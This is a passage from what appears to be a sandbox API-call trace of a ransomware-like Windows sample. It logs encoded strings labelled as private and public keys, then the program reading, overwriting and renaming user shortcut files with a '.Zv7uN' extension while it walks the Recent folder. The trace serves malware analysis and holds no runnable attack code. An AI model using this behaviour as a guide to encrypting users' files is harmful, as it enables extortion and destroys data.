E7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.495] GetCurrentThreadId () returned 0xa30 [0080.495] GetCurrentThreadId () returned 0xa30 [0080.495] GetCurrentThreadId () returned 0xa30 [0080.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.496] GetCurrentThreadId () returned 0xa30 [0080.496] GetCurrentThreadId () returned 0xa30 [0080.496] GetCurrentThreadId () returned 0xa30 [0080.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.496] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.496] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.496] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x998 [0080.496] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.497] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x998, lpOverlapped=0x0) returned 1 [0080.498] CloseHandle (hObject=0x124) returned 1 [0080.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.500] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x998, lpOverlapped=0x0) returned 1 [0081.208] CloseHandle (hObject=0x124) returned 1 [0081.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dePX8rTxd.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\depx8rtxd.lnk.zv7un")) returned 1 [0081.215] GetCurrentThreadId () returned 0xa30 [0081.215] GetCurrentThreadId () returned 0xa30 [0081.215] GetCurrentThreadId () returned 0xa30 [0081.215] GetCurrentThreadId () returned 0xa30 [0081.215] GetCurrentThreadId () returned 0xa30 [0081.216] GetCurrentThreadId () returned 0xa30 [0081.216] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0081.216] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.216] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15f3fe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d606620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d606620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="dh8R.lnk", cAlternateFileName="")) returned 1 [0081.216] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.216] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15f3fe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d606620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d606620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12ee)) returned 1 [0081.216] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dh8r.lnk")) returned 0x20 [0081.216] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh8R.lnk", dwFileAttributes=0x80) returned 1 [0081.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w